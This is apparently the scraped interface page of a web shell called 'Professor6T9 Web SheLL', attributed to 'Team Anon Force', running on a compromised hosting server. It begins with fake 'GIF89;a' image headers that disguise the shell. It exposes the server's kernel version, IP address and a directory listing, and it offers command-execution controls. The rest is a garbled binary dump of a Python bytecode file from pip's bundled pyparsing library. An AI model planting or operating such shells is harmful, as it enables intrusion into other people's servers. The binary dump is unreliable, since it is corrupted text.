GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux host69.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Apache
68.65.123.79
/
opt
/
alt
/
python312
/
lib
/
python3.12
/
site-packages
/
pip
/
_vendor
/
pyparsing
/
__pycache__
[ HOME ]
Exec
Submit
testing.cpython-312.pyc
� R`i�4 � �H � d dl mZ d dlZddlmZmZmZmZmZ G d� d� Z y)� )�contextmanagerN� )� ParserElement�ParseException�Keyword�__diag__� __compat__c �� � e Zd ZdZ G d� d� Z G d� d� Ze ddedej e d ej e d ededej e d ej e defd�� Zy)�pyparsing_testzB namespace class for classes useful in writing unit tests c �4 � e Zd ZdZd� Zd� Zd� Zd� Zd� Zd� Z y) �&pyparsing_test.reset_pyparsing_contexta� Context manager to be used when writing unit tests that modify pyparsing config values: - packrat parsing - bounded recursion parsing - default whitespace characters. - default keyword characters - literal string auto-conversion class - __diag__ settings Example:: with reset_pyparsing_context(): # test that literals used to construct a grammar are automatically suppressed ParserElement.inlineLiteralsUsing(Suppress) term = Word(alphas) | Word(nums) group = Group('(' + term[...] + ')') # assert that the '()' characters are not included in the parsed tokens self.assertParseAndCheckList(group, "(abc 123 def)", ['abc', '123', 'def']) # after exiting context manager, literals are converted to Literal expressions again c � � i | _ y �N)� _save_context��selfs ��/builddir/build/BUILDROOT/alt-python312-pip-23.3.1-3.el8.x86_64/opt/alt/python312/lib/python3.12/site-packages/pip/_vendor/pyparsing/testing.py�__init__z/pyparsing_test.reset_pyparsing_context.__init__- s � �!#�D�� c �� � t j | j d<